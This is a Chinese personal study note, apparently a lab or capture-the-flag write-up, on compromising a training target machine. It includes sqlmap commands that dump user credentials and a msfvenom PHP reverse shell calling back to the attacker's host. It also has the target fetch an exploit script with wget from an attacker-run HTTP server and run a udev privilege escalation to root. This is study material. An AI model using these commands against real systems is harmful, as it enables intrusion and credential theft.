打靶记录(个人学习笔记)

2024-03-19 19:04

本文主要是介绍打靶记录(个人学习笔记),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、信息收集

1、主机发现

通过nmap对此网段进行扫描,可以确定靶机ip为192.168.189.144

2、端口扫描

确定了靶机ip之后,我们来扫描端口

发现80端口开放,先访问80端口

用插件识别出一些信息

Wappalyzer插件获得信息:Web服务:Apache2.2.3操作系统:Centos后端语言:PHP 5.2.6

二、漏洞扫描

AWVS:

Awvs进行Web漏洞探测发现

功能介绍如下:仪表盘(监视器)功能,添加目标功能,漏洞排序功能,扫描功能,发现功能,用户功能,扫描配置功能,网络扫描功能,追踪器功能,防火墙设置,邮件设置,引擎,时间排除功能,代理功能,常规设置主要使用的功能是前面的6个,后面的根据个人的需要进行配置详细介绍如下:Dashboard功能:翻译意思仪表盘(监视器),可以对扫描对扫描完成目标进行排列,可以单独点击进去查看详细的扫描信息;Targets功能:目标,可以对扫描的目标进行添加,可以单个添加,可以多个添加或者按组添加;Vulnerabilities功能:漏洞排序功能,对扫描出来的漏洞从高危到低位降序排列Scans功能:扫描,可以新建扫描(自己可以配置扫描的参数),可以直接看到扫描记录;Reports功能:可以对扫描的报告进行导出; Discovery功能:字面意思是发现,可以进行设置,有包含一些地址和组织的功能需要自己手动添加,也有排除一些地址和组织的功能,需要自己手动添加;Users功能:可以添加用户删除用户;Scan Profiles功能:扫描配置功能,可以选择对那些漏洞扫描,默认都选不用管;Network Scanner功能:网络扫描,需要设置扫描的地址端口,账号和密码;Issue Trackers功能:问题追踪器,如果扫描失败,进行配置,然后这个功能会尝试链接目标地址看出现什么问题;WAFs功能:防火墙设置,可以配置web应用程序防火墙;Email Settings功能:邮件设Engines功能:引擎Excluded Hours功能:小时排除,可以对一些时间进行排除Proxy Settings功能:代理功能,可以设置代理General Settings功能:常规设置

打开AWVS,在目标中输入我们靶机的ip地址:http://192.168.189.144/

点击保存之后开始进行扫描,可以看到出现一些高危漏洞,然后我们根据他给出的漏洞位置进行验证漏洞的真实性

根据给定的sql注入点进行测试

使用kali自带的sqlmap先跑出数据库:sqlmap -u http://192.168.189.144/index.php?id=2 --dbs

再跑数据库cms的表:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms --tables

再跑user表的字段和值:sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user --column

sqlmap -u http://192.168.189.144/index.php?id=2 -D cms -T user -C 'user_username,user_password' --dump

可以看到成功跑出了数据库的用户名和密码

也可以使用nikto漏扫工具进行扫描:

Nikto是一款开源的(GPL)网页服务器扫描器,它可以对网页服务器进行全面的多种扫描,包含超过3300种有潜在危险的文件/CGIs;超过625种服务器版本;超过230种特定服务器问题。扫描项和插件可以自动更新(如果需要)。但其软件本身并不经常更新,最新和最危险的可能会检测不到。

CGI漏洞:cgi漏洞是Common Gateway Interface(公用网关接口)的简称,并不特指一种语言。CGI语言漏洞分为配置错误、边界条件错误、访问验证错误、来源验证错误、输入验证错误、策略错误、使用错误等等。

Web服务器的安全问题主要包括:1)Web服务器软件编制中的BUG;2)服务器配置的错误。可能导致CGI源代码泄漏,物理路径信息泄漏,系统敏感信息泄漏或远程执行任意命令。CGI漏洞大多分为一下几种类型:暴露不该暴露的信息、执行不该执行的命令、溢出。

web服务器软件编制中的BUG

web服务器的配置错误

命令:nikto –h http://靶机IP

扫描之后可以看到有敏感目录泄露:

http://192.168.189.144/sql/db.sql

进入网站可以看到泄露了用户名和密码:

INSERT INTO user SET user_id = 1, user_username='admin', user_password=md5('adminpass');

找到登录页面,拿获取到的用户名和密码进行登录

http://192.168.189.144/?action=login

可以看到登录成功,但是没有看到多余的标签页,还是Home、login 这时我们考虑到是否有其他页面没有显示出来,我们可以尝试用不同的浏览器测试。我这里再谷歌浏览器中尝试登录打开,看是否后有什么新的页面展示出来,可以看到会多出来一些东西

可以发现上传页面

密码修改页面

接下来继续访问敏感路径:敏感目录探测:/docs/:

可以下载下来进行查看

可以在其中发现action目录下面存在文件包含漏洞

利用一下

MSF反弹shell

msfvenom msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线.部分参数:-p 选择一个载荷[payload],或者说一个模块吧。-l 载荷列表-f 生成的文件格式-e 编码方式-i 编码次数-b 在生成的程序中避免出现的值-h 帮助-f exe 生成EXE格式LHOST,LPORT 监听上线的主机IP和端口我们这里使用的命令为: 用msf生成php反向shell 命令:msfvenom -p php/meterpreter_reverse_tcp LHOST=kali的IP LPORT=4444 -o shell.php 参数解释: Reverse_tcp(攻击方被动连接的payload) Bind_tcp(攻击方主动连接的payload)

使用msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.189.138 LPORT=4444 -o shell.php命令进行生成反弹shell木马

上传我们生成好的shell木马

可以看到已经上传成功

我们打开它

接下来启动监听模块:use exploit/multi/handler

再配置payload

msf6 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp

设置本地ip

exploit(multi/handler) > set lhost 192.168.189.144 设置本地地址

exploit(multi/handler) > set 查看配置

exploit(multi/handler) > exploit开启监听

刷新我们上传的反弹shell,进行连接

http://192.168.189.144/files/shell.php

可以发现成功连接

发现不是root权限,接下来开始提权,先查看系统版本:sysinfo

我们可以看到系统内核是:Linux 内核2.6版本

通过查阅,发现有Linux 内核2.6版本udev提权(CVE-2009-1185)

三、提权操作

输入searchsploit linux udev ,查找内核版本相关漏洞及攻击代码

说明:“searchsploit”是一个用于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,利用上面提到的命令就可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

基本搜索方法就是searchsploit+可能包含漏洞的软件/系统等等,对应回显存在的漏洞和用于渗透的脚本。

之后定位具体位置

拷贝到当前路径

下面准备把提权文件上传到靶机,首先要开启http服务:python -m http.server

用靶机下载:wget http://192.168.189.138:8000/8478.sh

赋予执行权限:chmod +x 8478.sh

利用攻击脚本进行攻击,查看一下当前的进程:

cat /proc/net/netlink           #查看进程号PID

使用./8478.ssh+PID进程号进行提权,提权成功后可以修改root密码进行登录

这篇关于打靶记录(个人学习笔记)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/826978

相关文章

Java学习手册之Filter和Listener使用方法

《Java学习手册之Filter和Listener使用方法》:本文主要介绍Java学习手册之Filter和Listener使用方法的相关资料,Filter是一种拦截器,可以在请求到达Servl... 目录一、Filter(过滤器)1. Filter 的工作原理2. Filter 的配置与使用二、Listen

Java使用SLF4J记录不同级别日志的示例详解

《Java使用SLF4J记录不同级别日志的示例详解》SLF4J是一个简单的日志门面,它允许在运行时选择不同的日志实现,这篇文章主要为大家详细介绍了如何使用SLF4J记录不同级别日志,感兴趣的可以了解下... 目录一、SLF4J简介二、添加依赖三、配置Logback四、记录不同级别的日志五、总结一、SLF4J

在Spring Boot中浅尝内存泄漏的实战记录

《在SpringBoot中浅尝内存泄漏的实战记录》本文给大家分享在SpringBoot中浅尝内存泄漏的实战记录,结合实例代码给大家介绍的非常详细,感兴趣的朋友一起看看吧... 目录使用静态集合持有对象引用,阻止GC回收关键点:可执行代码:验证:1,运行程序(启动时添加JVM参数限制堆大小):2,访问 htt

MySQL 中查询 VARCHAR 类型 JSON 数据的问题记录

《MySQL中查询VARCHAR类型JSON数据的问题记录》在数据库设计中,有时我们会将JSON数据存储在VARCHAR或TEXT类型字段中,本文将详细介绍如何在MySQL中有效查询存储为V... 目录一、问题背景二、mysql jsON 函数2.1 常用 JSON 函数三、查询示例3.1 基本查询3.2

利用Python快速搭建Markdown笔记发布系统

《利用Python快速搭建Markdown笔记发布系统》这篇文章主要为大家详细介绍了使用Python生态的成熟工具,在30分钟内搭建一个支持Markdown渲染、分类标签、全文搜索的私有化知识发布系统... 目录引言:为什么要自建知识博客一、技术选型:极简主义开发栈二、系统架构设计三、核心代码实现(分步解析

Python获取中国节假日数据记录入JSON文件

《Python获取中国节假日数据记录入JSON文件》项目系统内置的日历应用为了提升用户体验,特别设置了在调休日期显示“休”的UI图标功能,那么问题是这些调休数据从哪里来呢?我尝试一种更为智能的方法:P... 目录节假日数据获取存入jsON文件节假日数据读取封装完整代码项目系统内置的日历应用为了提升用户体验,

Spring Boot 配置文件之类型、加载顺序与最佳实践记录

《SpringBoot配置文件之类型、加载顺序与最佳实践记录》SpringBoot的配置文件是灵活且强大的工具,通过合理的配置管理,可以让应用开发和部署更加高效,无论是简单的属性配置,还是复杂... 目录Spring Boot 配置文件详解一、Spring Boot 配置文件类型1.1 applicatio

MySQL INSERT语句实现当记录不存在时插入的几种方法

《MySQLINSERT语句实现当记录不存在时插入的几种方法》MySQL的INSERT语句是用于向数据库表中插入新记录的关键命令,下面:本文主要介绍MySQLINSERT语句实现当记录不存在时... 目录使用 INSERT IGNORE使用 ON DUPLICATE KEY UPDATE使用 REPLACE

Python 中的异步与同步深度解析(实践记录)

《Python中的异步与同步深度解析(实践记录)》在Python编程世界里,异步和同步的概念是理解程序执行流程和性能优化的关键,这篇文章将带你深入了解它们的差异,以及阻塞和非阻塞的特性,同时通过实际... 目录python中的异步与同步:深度解析与实践异步与同步的定义异步同步阻塞与非阻塞的概念阻塞非阻塞同步

Python Dash框架在数据可视化仪表板中的应用与实践记录

《PythonDash框架在数据可视化仪表板中的应用与实践记录》Python的PlotlyDash库提供了一种简便且强大的方式来构建和展示互动式数据仪表板,本篇文章将深入探讨如何使用Dash设计一... 目录python Dash框架在数据可视化仪表板中的应用与实践1. 什么是Plotly Dash?1.1